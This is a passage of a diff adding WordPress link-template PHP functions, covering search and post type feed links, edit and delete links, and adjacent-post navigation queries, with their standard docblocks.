+		$link = add_query_arg('feed', $feed, $link);
+	} else {
+		$link = trailingslashit($link);
+		$link .= "feed/$feed/";
+	}
+
+	/**
+	 * Filters the search feed link.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $link Search feed link.
+	 * @param string $feed Feed type.
+	 * @param string $type The search type. One of 'posts' or 'comments'.
+	 */
+	return apply_filters( 'search_feed_link', $link, $feed, 'posts' );
+}
+
+/**
+ * Retrieves the permalink for the search results comments feed.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $search_query Optional. Search query. Default empty.
+ * @param string $feed         Optional. Feed type. Default empty.
+ * @return string The comments feed search results permalink.
+ */
+function get_search_comments_feed_link($search_query = '', $feed = '') {
+	global $wp_rewrite;
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$link = get_search_feed_link($search_query, $feed);
+
+	$permastruct = $wp_rewrite->get_search_permastruct();
+
+	if ( empty($permastruct) )
+		$link = add_query_arg('feed', 'comments-' . $feed, $link);
+	else
+		$link = add_query_arg('withcomments', 1, $link);
+
+	/** This filter is documented in wp-includes/link-template.php */
+	return apply_filters( 'search_feed_link', $link, $feed, 'comments' );
+}
+
+/**
+ * Retrieves the permalink for a post type archive.
+ *
+ * @since 3.1.0
+ * @since 4.5.0 Support for posts was added.
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $post_type Post type.
+ * @return string|false The post type archive permalink.
+ */
+function get_post_type_archive_link( $post_type ) {
+	global $wp_rewrite;
+	if ( ! $post_type_obj = get_post_type_object( $post_type ) )
+		return false;
+
+	if ( 'post' === $post_type ) {
+		$show_on_front = get_option( 'show_on_front' );
+		$page_for_posts  = get_option( 'page_for_posts' );
+
+		if ( 'page' == $show_on_front && $page_for_posts ) {
+			$link = get_permalink( $page_for_posts );
+		} else {
+			$link = get_home_url();
+		}
+		/** This filter is documented in wp-includes/link-template.php */
+		return apply_filters( 'post_type_archive_link', $link, $post_type );
+	}
+
+	if ( ! $post_type_obj->has_archive )
+		return false;
+
+	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) {
+		$struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive;
+		if ( $post_type_obj->rewrite['with_front'] )
+			$struct = $wp_rewrite->front . $struct;
+		else
+			$struct = $wp_rewrite->root . $struct;
+		$link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) );
+	} else {
+		$link = home_url( '?post_type=' . $post_type );
+	}
+
+	/**
+	 * Filters the post type archive permalink.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $link      The post type archive permalink.
+	 * @param string $post_type Post type name.
+	 */
+	return apply_filters( 'post_type_archive_link', $link, $post_type );
+}
+
+/**
+ * Retrieves the permalink for a post type archive feed.
+ *
+ * @since 3.1.0
+ *
+ * @param string $post_type Post type
+ * @param string $feed      Optional. Feed type. Default empty.
+ * @return string|false The post type feed permalink.
+ */
+function get_post_type_archive_feed_link( $post_type, $feed = '' ) {
+	$default_feed = get_default_feed();
+	if ( empty( $feed ) )
+		$feed = $default_feed;
+
+	if ( ! $link = get_post_type_archive_link( $post_type ) )
+		return false;
+
+	$post_type_obj = get_post_type_object( $post_type );
+	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) {
+		$link = trailingslashit( $link );
+		$link .= 'feed/';
+		if ( $feed != $default_feed )
+			$link .= "$feed/";
+	} else {
+		$link = add_query_arg( 'feed', $feed, $link );
+	}
+
+	/**
+	 * Filters the post type archive feed link.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $link The post type archive feed link.
+	 * @param string $feed Feed type.
+	 */
+	return apply_filters( 'post_type_archive_feed_link', $link, $feed );
+}
+
+/**
+ * Retrieves the URL used for the post preview.
+ *
+ * Allows additional query args to be appended.
+ *
+ * @since 4.4.0
+ *
+ * @param int|WP_Post $post         Optional. Post ID or `WP_Post` object. Defaults to global `$post`.
+ * @param array       $query_args   Optional. Array of additional query args to be appended to the link.
+ *                                  Default empty array.
+ * @param string      $preview_link Optional. Base preview link to be used if it should differ from the
+ *                                  post permalink. Default empty.
+ * @return string|null URL used for the post preview, or null if the post does not exist.
+ */
+function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) {
+	$post = get_post( $post );
+	if ( ! $post ) {
+		return;
+	}
+
+	$post_type_object = get_post_type_object( $post->post_type );
+	if ( is_post_type_viewable( $post_type_object ) ) {
+		if ( ! $preview_link ) {
+			$preview_link = set_url_scheme( get_permalink( $post ) );
+		}
+
+		$query_args['preview'] = 'true';
+		$preview_link = add_query_arg( $query_args, $preview_link );
+	}
+
+	/**
+	 * Filters the URL used for a post preview.
+	 *
+	 * @since 2.0.5
+	 * @since 4.0.0 Added the `$post` parameter.
+	 *
+	 * @param string  $preview_link URL used for the post preview.
+	 * @param WP_Post $post         Post object.
+	 */
+	return apply_filters( 'preview_post_link', $preview_link, $post );
+}
+
+/**
+ * Retrieves the edit post link for post.
+ *
+ * Can be used within the WordPress loop or outside of it. Can be used with
+ * pages, posts, attachments, and revisions.
+ *
+ * @since 2.3.0
+ *
+ * @param int|WP_Post $id      Optional. Post ID or post object. Default is the global `$post`.
+ * @param string      $context Optional. How to output the '&' character. Default '&amp;'.
+ * @return string|null The edit post link for the given post. null if the post type is invalid or does
+ *                     not allow an editing UI.
+ */
+function get_edit_post_link( $id = 0, $context = 'display' ) {
+	if ( ! $post = get_post( $id ) )
+		return;
+
+	if ( 'revision' === $post->post_type )
+		$action = '';
+	elseif ( 'display' == $context )
+		$action = '&amp;action=edit';
+	else
+		$action = '&action=edit';
+
+	$post_type_object = get_post_type_object( $post->post_type );
+	if ( !$post_type_object )
+		return;
+
+	if ( !current_user_can( 'edit_post', $post->ID ) )
+		return;
+
+	if ( $post_type_object->_edit_link ) {
+		$link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) );
+	} else {
+		$link = '';
+	}
+
+	/**
+	 * Filters the post edit link.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $link    The edit link.
+	 * @param int    $post_id Post ID.
+	 * @param string $context The link context. If set to 'display' then ampersands
+	 *                        are encoded.
+	 */
+	return apply_filters( 'get_edit_post_link', $link, $post->ID, $context );
+}
+
+/**
+ * Displays the edit post link for post.
+ *
+ * @since 1.0.0
+ * @since 4.4.0 The `$class` argument was added.
+ *
+ * @param string      $text   Optional. Anchor text. If null, default is 'Edit This'. Default null.
+ * @param string      $before Optional. Display before edit link. Default empty.
+ * @param string      $after  Optional. Display after edit link. Default empty.
+ * @param int|WP_Post $id     Optional. Post ID or post object. Default is the global `$post`.
+ * @param string      $class  Optional. Add custom class to link. Default 'post-edit-link'.
+ */
+function edit_post_link( $text = null, $before = '', $after = '', $id = 0, $class = 'post-edit-link' ) {
+	if ( ! $post = get_post( $id ) ) {
+		return;
+	}
+
+	if ( ! $url = get_edit_post_link( $post->ID ) ) {
+		return;
+	}
+
+	if ( null === $text ) {
+		$text = __( 'Edit This' );
+	}
+
+	$link = '<a class="' . esc_attr( $class ) . '" href="' . esc_url( $url ) . '">' . $text . '</a>';
+
+	/**
+	 * Filters the post edit link anchor tag.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $link    Anchor tag for the edit link.
+	 * @param int    $post_id Post ID.
+	 * @param string $text    Anchor text.
+	 */
+	echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after;
+}
+
+/**
+ * Retrieves the delete posts link for post.
+ *
+ * Can be used within the WordPress loop or outside of it, with any post type.
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Post $id           Optional. Post ID or post object. Default is the global `$post`.
+ * @param string      $deprecated   Not used.
+ * @param bool        $force_delete Optional. Whether to bypass trash and force deletion. Default false.
+ * @return string|void The delete post link URL for the given post.
+ */
+function get_delete_post_link( $id = 0, $deprecated = '', $force_delete = false ) {
+	if ( ! empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '3.0.0' );
+
+	if ( !$post = get_post( $id ) )
+		return;
+
+	$post_type_object = get_post_type_object( $post->post_type );
+	if ( !$post_type_object )
+		return;
+
+	if ( !current_user_can( 'delete_post', $post->ID ) )
+		return;
+
+	$action = ( $force_delete || !EMPTY_TRASH_DAYS ) ? 'delete' : 'trash';
+
+	$delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) );
+
+	/**
+	 * Filters the post delete link.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $link         The delete link.
+	 * @param int    $post_id      Post ID.
+	 * @param bool   $force_delete Whether to bypass the trash and force deletion. Default false.
+	 */
+	return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete );
+}
+
+/**
+ * Retrieves the edit comment link.
+ *
+ * @since 2.3.0
+ *
+ * @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object.
+ * @return string|void The edit comment link URL for the given comment.
+ */
+function get_edit_comment_link( $comment_id = 0 ) {
+	$comment = get_comment( $comment_id );
+
+	if ( !current_user_can( 'edit_comment', $comment->comment_ID ) )
+		return;
+
+	$location = admin_url('comment.php?action=editcomment&amp;c=') . $comment->comment_ID;
+
+	/**
+	 * Filters the comment edit link.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $location The edit link.
+	 */
+	return apply_filters( 'get_edit_comment_link', $location );
+}
+
+/**
+ * Displays the edit comment link with formatting.
+ *
+ * @since 1.0.0
+ *
+ * @param string $text   Optional. Anchor text. If null, default is 'Edit This'. Default null.
+ * @param string $before Optional. Display before edit link. Default empty.
+ * @param string $after  Optional. Display after edit link. Default empty.
+ */
+function edit_comment_link( $text = null, $before = '', $after = '' ) {
+	$comment = get_comment();
+
+	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
+		return;
+	}
+
+	if ( null === $text ) {
+		$text = __( 'Edit This' );
+	}
+
+	$link = '<a class="comment-edit-link" href="' . esc_url( get_edit_comment_link( $comment ) ) . '">' . $text . '</a>';
+
+	/**
+	 * Filters the comment edit link anchor tag.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $link       Anchor tag for the edit link.
+	 * @param int    $comment_id Comment ID.
+	 * @param string $text       Anchor text.
+	 */
+	echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after;
+}
+
+/**
+ * Displays the edit bookmark link.
+ *
+ * @since 2.7.0
+ *
+ * @param int|stdClass $link Optional. Bookmark ID. Default is the id of the current bookmark.
+ * @return string|void The edit bookmark link URL.
+ */
+function get_edit_bookmark_link( $link = 0 ) {
+	$link = get_bookmark( $link );
+
+	if ( !current_user_can('manage_links') )
+		return;
+
+	$location = admin_url('link.php?action=edit&amp;link_id=') . $link->link_id;
+
+	/**
+	 * Filters the bookmark edit link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $location The edit link.
+	 * @param int    $link_id  Bookmark ID.
+	 */
+	return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
+}
+
+/**
+ * Displays the edit bookmark link anchor content.
+ *
+ * @since 2.7.0
+ *
+ * @param string $link     Optional. Anchor text. Default empty.
+ * @param string $before   Optional. Display before edit link. Default empty.
+ * @param string $after    Optional. Display after edit link. Default empty.
+ * @param int    $bookmark Optional. Bookmark ID. Default is the current bookmark.
+ */
+function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
+	$bookmark = get_bookmark($bookmark);
+
+	if ( !current_user_can('manage_links') )
+		return;
+
+	if ( empty($link) )
+		$link = __('Edit This');
+
+	$link = '<a href="' . esc_url( get_edit_bookmark_link( $bookmark ) ) . '">' . $link . '</a>';
+
+	/**
+	 * Filters the bookmark edit link anchor tag.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $link    Anchor tag for the edit link.
+	 * @param int    $link_id Bookmark ID.
+	 */
+	echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
+}
+
+/**
+ * Retrieves the edit user link.
+ *
+ * @since 3.5.0
+ *
+ * @param int $user_id Optional. User ID. Defaults to the current user.
+ * @return string URL to edit user page or empty string.
+ */
+function get_edit_user_link( $user_id = null ) {
+	if ( ! $user_id )
+		$user_id = get_current_user_id();
+
+	if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) )
+		return '';
+
+	$user = get_userdata( $user_id );
+
+	if ( ! $user )
+		return '';
+
+	if ( get_current_user_id() == $user->ID )
+		$link = get_edit_profile_url( $user->ID );
+	else
+		$link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) );
+
+	/**
+	 * Filters the user edit link.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $link    The edit link.
+	 * @param int    $user_id User ID.
+	 */
+	return apply_filters( 'get_edit_user_link', $link, $user->ID );
+}
+
+// Navigation links
+
+/**
+ * Retrieves the previous post that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ *
+ * @param bool         $in_same_term   Optional. Whether post should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return null|string|WP_Post Post object if successful. Null if global $post is not set. Empty string if no
+ *                             corresponding post exists.
+ */
+function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy );
+}
+
+/**
+ * Retrieves the next post that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ *
+ * @param bool         $in_same_term   Optional. Whether post should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return null|string|WP_Post Post object if successful. Null if global $post is not set. Empty string if no
+ *                             corresponding post exists.
+ */
+function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Retrieves the adjacent post.
+ *
+ * Can either be next or previous post.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param bool         $in_same_term   Optional. Whether post should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param bool         $previous       Optional. Whether to retrieve previous post. Default true
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return null|string|WP_Post Post object if successful. Null if global $post is not set. Empty string if no
+ *                             corresponding post exists.
+ */
+function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	global $wpdb;
+
+	if ( ( ! $post = get_post() ) || ! taxonomy_exists( $taxonomy ) )
+		return null;
+
+	$current_post_date = $post->post_date;
+
+	$join = '';
+	$where = '';
+	$adjacent = $previous ? 'previous' : 'next';
+
+	if ( $in_same_term || ! empty( $excluded_terms ) ) {
+		if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
+			// back-compat, $excluded_terms used to be $excluded_terms with IDs separated by " and "
+			if ( false !== strpos( $excluded_terms, ' and ' ) ) {
+				_deprecated_argument( __FUNCTION__, '3.3.0', sprintf( __( 'Use commas instead of %s to separate excluded terms.' ), "'and'" ) );
+				$excluded_terms = explode( ' and ', $excluded_terms );
+			} else {
+				$excluded_terms = explode( ',', $excluded_terms );
+			}
+
+			$excluded_terms = array_map( 'intval', $excluded_terms );
+		}
+
+		if ( $in_same_term ) {
+			$join .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
+			$where .= $wpdb->prepare( "AND tt.taxonomy = %s", $taxonomy );
+
+			if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) )
+				return '';
+			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
+
+			// Remove any exclusions from the term array to include.
+			$term_array = array_diff( $term_array, (array) $excluded_terms );
+			$term_array = array_map( 'intval', $term_array );
+
+			if ( ! $term_array || is_wp_error( $term_array ) )
+				return '';
+
+			$where .= " AND tt.term_id IN (" . implode( ',', $term_array ) . ")";
+		}
+
+		/**
+		 * Filters the IDs of terms excluded from adjacent post queries.
+		 *
+		 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+		 * of adjacency, 'next' or 'previous'.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $excluded_terms Array of excluded term IDs.
+		 */
+		$excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms );
+
+		if ( ! empty( $excluded_terms ) ) {
+			$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
+		}
+	}
+
+	// 'post_status' clause depends on the current user.
+	if ( is_user_logged_in() ) {
+		$user_id = get_current_user_id();
+
+		$post_type_object = get_post_type_object( $post->post_type );
+		if ( empty( $post_type_object ) ) {
+			$post_type_cap    = $post->post_type;
+			$read_private_cap = 'read_private_' . $post_type_cap . 's';
+		} else {
+			$read_private_cap = $post_type_object->cap->read_private_posts;
+		}
+
+		/*
+		 * Results should include private posts belonging to the current user, or private posts where the
+		 * current user has the 'read_private_posts' cap.
+		 */
+		$private_states = get_post_stati( array( 'private' => true ) );
+		$where .= " AND ( p.post_status = 'publish'";
+		foreach ( (array) $private_states as $state ) {
+			if ( current_user_can( $read_private_cap ) ) {
+				$where .= $wpdb->prepare( " OR p.post_status = %s", $state );
+			} else {
+				$where .= $wpdb->prepare( " OR (p.post_author = %d AND p.post_status = %s)", $user_id, $state );
+			}
+		}
+		$where .= " )";
+	} else {
+		$where .= " AND p.post_status = 'publish'";
+	}
+
+	$op = $previous ? '<' : '>';
+	$order = $previous ? 'DESC' : 'ASC';
+
+	/**
+	 * Filters the JOIN clause in the SQL for an adjacent post query.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.5.0
+	 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
+	 *
+	 * @param string  $join           The JOIN clause in the SQL.
+	 * @param bool    $in_same_term   Whether post should be in a same taxonomy term.
+	 * @param array   $excluded_terms Array of excluded term IDs.
+	 * @param string  $taxonomy       Taxonomy. Used to identify the term used when `$in_same_term` is true.
+	 * @param WP_Post $post           WP_Post object.
+	 */
+	$join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post );
+
+	/**
+	 * Filters the WHERE clause in the SQL for an adjacent post query.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.5.0
+	 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
+	 *
+	 * @param string  $where          The `WHERE` clause in the SQL.
+	 * @param bool    $in_same_term   Whether post should be in a same taxonomy term.
+	 * @param array   $excluded_terms Array of excluded term IDs.
+	 * @param string  $taxonomy       Taxonomy. Used to identify the term used when `$in_same_term` is true.
+	 * @param WP_Post $post           WP_Post object.
+	 */
+	$where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms, $taxonomy, $post );
+
+	/**
+	 * Filters the ORDER BY clause in the SQL for an adjacent post query.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.5.0
+	 * @since 4.4.0 Added the `$post` parameter.
+	 * @since 4.9.0 Added the `$order` parameter.
+	 *
+	 * @param string $order_by The `ORDER BY` clause in the SQL.
+	 * @param WP_Post $post    WP_Post object.
+	 * @param string  $order   Sort order. 'DESC' for previous post, 'ASC' for next.
+	 */
+	$sort  = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1", $post, $order );
+
+	$query = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort";
+	$query_key = 'adjacent_post_' . md5( $query );
+	$result = wp_cache_get( $query_key, 'counts' );
+	if ( false !== $result ) {
+		if ( $result )
+			$result = get_post( $result );
+		return $result;
+	}
+
+	$result = $wpdb->get_var( $query );
+	if ( null === $result )
+		$result = '';
+
+	wp_cache_set( $query_key, $result, 'counts' );
+
+	if ( $result )
+		$result = get_post( $result );
+
+	return $result;
+}
+
+/**
+ * Retrieves the adjacent post relational link.
+ *
+ * Can either be next or previous post relational link.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $title          Optional. Link title format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param bool         $previous       Optional. Whether to display link to previous or next post. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string|void The adjacent post relational link URL.
+ */
+function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	if ( $previous && is_attachment() && $post = get_post() )
+		$post = get_post( $post->post_parent );
+	else
+		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
+
+	if ( empty( $post ) )
+		return;
+
+	$post_title = the_title_attribute( array( 'echo' => false, 'post' => $post ) );
+
+	if ( empty( $post_title ) )
+		$post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
+
+	$date = mysql2date( get_option( 'date_format' ), $post->post_date );
+
+	$title = str_replace( '%title', $post_title, $title );
+	$title = str_replace( '%date', $date, $title );
+
+	$link = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
+	$link .= esc_attr( $title );
+	$link .= "' href='" . get_permalink( $post ) . "' />\n";
+
+	$adjacent = $previous ? 'previous' : 'next';
+
+	/**
+	 * Filters the adjacent post relational link.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $link The relational link.
+	 */
+	return apply_filters( "{$adjacent}_post_rel_link", $link );
+}
+
+/**
+ * Displays the relational links for the posts adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $title          Optional. Link title format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Displays relational links for the posts adjacent to the current post for single post pages.
+ *
+ * This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins
+ * or theme templates.
+ *
+ * @since 3.0.0
+ *
+ * @see adjacent_posts_rel_link()
+ */
+function adjacent_posts_rel_link_wp_head() {
+	if ( ! is_single() || is_attachment() ) {
+		return;
+	}
+	adjacent_posts_rel_link();
+}
+
+/**
+ * Displays the relational link for the next post adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @see get_adjacent_post_rel_link()
+ *
+ * @param string       $title          Optional. Link title format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Displays the relational link for the previous post adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @see get_adjacent_post_rel_link()
+ *
+ * @param string       $title          Optional. Link title format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
+}
+
+/**
+ * Retrieves the boundary post.
+ *
+ * Boundary being either the first or last post by publish date within the constraints specified
+ * by $in_same_term or $excluded_terms.
+ *
+ * @since 2.8.0
+ *
+ * @param bool         $in_same_term   Optional. Whether returned post should be in a same taxonomy term.
+ *                                     Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ *                                     Default empty.
+ * @param bool         $start          Optional. Whether to retrieve first or last post. Default true
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return null|array Array containing the boundary post object if successful, null otherwise.
+ */
+function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) {
+	$post = get_post();
+	if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) )
+		return null;
+
+	$query_args = array(
+		'posts_per_page' => 1,
+		'order' => $start ? 'ASC' : 'DESC',
+		'update_post_term_cache' => false,
+		'update_post_meta_cache' => false
+	);
+
+	$term_array = array();
+
+	if ( ! is_array( $excluded_terms ) ) {
+		if ( ! empty( $excluded_terms ) )
+			$excluded_terms = explode( ',', $excluded_terms );
+		else
+			$excluded_terms = array();
+	}
+
+	if ( $in_same_term || ! empty( $excluded_terms ) ) {
+		if ( $in_same_term )
+			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
+
+		if ( ! empty( $excluded_terms ) ) {
+			$excluded_terms = array_map( 'intval', $excluded_terms );
+			$excluded_terms = array_diff( $excluded_terms, $term_array );
+
+			$inverse_terms = array();
+			foreach ( $excluded_terms as $excluded_term )
+				$inverse_terms[] = $excluded_term * -1;
+			$excluded_terms = $inverse_terms;
+		}
+
+		$query_args[ 'tax_query' ] = array( array(
+			'taxonomy' => $taxonomy,
+			'terms' => array_merge( $term_array, $excluded_terms )
+		) );
+	}
+
+	return get_posts( $query_args );
+}
+
+/**
+ * Retrieves the previous post link that is adjacent to the current post.
+ *
+ * @since 3.7.0
+ *
+ * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
+ * @param string       $link           Optional. Link permalink format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The link URL of the previous post in relation to the current post.
+ */
+function get_previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy );
+}
+
+/**
+ * Displays the previous post link that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ *
+ * @see get_previous_post_link()
+ *
+ * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
+ * @param string       $link           Optional. Link permalink format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
+}
+
+/**
+ * Retrieves the next post link that is adjacent to the current post.
+ *
+ * @since 3.7.0
+ *
+ * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
+ * @param string       $link           Optional. Link permalink format. Default '%title'.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The link URL of the next post in relation to the current post.
+ */
+function get_next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Displays the next post link that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ * @see get_next_post_link()
+ *
+ * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
+ * @param string       $link           Optional. Link permalink format. Default '%title'
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
